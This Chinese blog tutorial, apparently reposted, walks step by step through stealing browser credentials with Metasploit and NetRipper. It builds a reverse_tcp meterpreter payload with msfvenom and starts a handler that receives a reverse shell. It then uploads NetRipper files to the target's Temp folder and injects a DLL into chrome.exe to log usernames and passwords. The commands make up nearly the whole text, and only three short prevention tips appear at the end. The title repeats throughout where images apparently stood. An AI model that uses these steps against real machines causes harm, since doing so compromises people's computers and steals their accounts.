如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试

如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

前言

我将手把手教会各位Buffer如何使用Metasploit+NetRipper获取Chrome等浏览器内保存的帐号密码。

需要工具:

Kali Linux&Metasploit

NetRipper

1.下载并且配置NetRipper

git clone https://github.com/NytroRST/NetRipper.git

如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试

mkdir /usr/share/metasploit-framework/modules/post/windows/gather/netripper

如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试    

cp netripper.rb /usr/share/metasploit-framework/modules/post/windows/gather/netripper/

如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试

cp DLL.x86.dll NetRipper.x86.exe /usr/share/metasploit-framework/modules/post/windows/gather/netripper/

如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试

cp DLL.x64.dll NetRipper.x64.exe /usr/share/metasploit-framework/modules/post/windows/gather/netripper/

如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试

2.生成Windows的Payload用于建立于目标机器的连接

msfvenom -p windows/meterpreter/reverse_tcp LHOST=You IP LPORT=XXXX -f exe > Payload.exe

如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试    

3.启动Metasploit并且进行监听

msfconsole

如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试    

use exploit/multi/handler

如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试    

set payload windows/meterpreter/reverse_tcp

如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试    

set LHOST IP

如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试    

set LPORT 6666

如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试    

options

如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试    

exploit

如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试    

目标机运行Payload获取到反弹shell

如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试    

4.上传DLL和exe文件到目标机器的C:/Users/Administrator/AppData/Local/Temp目录下

Upload /root/Desjtop/NetRipper/x64/DLL.dll
Upload /root/Desjtop/NetRipper/x64/NetRipper.exe

 如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试

shell
NetRipper.exe

如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试    
运行NetRipper.exe    

NetRipper.exe –w DLL.dll –l TEMP –p true –d 4096 –s user,pass

如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试    

NetRipper.exe ConfiguredDLL.dll chrome.exe 

我注入到了是chrome浏览器的进程,你也可以注入到其他浏览器(火狐,QQ浏览器,360浏览器等等)的进程,这里以Chrom浏览器为主

如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试    

5.测试验证

如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试    
如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试    

打开那个刚刚下载的txt文件

如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试    

Ctir+F输入pwpw或者pwd、pass、password等关键词来搜索明文密码

如何进行Metasploit+NetRipper获取Chrome等浏览器帐号密码测试

如果获取失败帐号密码的话,可能是网站使用了Https协议,或者登陆时在本地就进行了帐号口令的一个加密混淆!(个人推断)   防范方法:

1.不要点击来历不明的文件

2.浏览器登录可以扫描就扫描登录

3.如果没有必要个人建议不要在浏览器保存自己的社交帐号密码

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。

原创文章,作者:kirin,如若转载,请注明出处:https://blog.ytso.com/227434.html

(0)
上一篇 2022年1月10日
下一篇 2022年1月10日

相关推荐

发表回复

登录后才能评论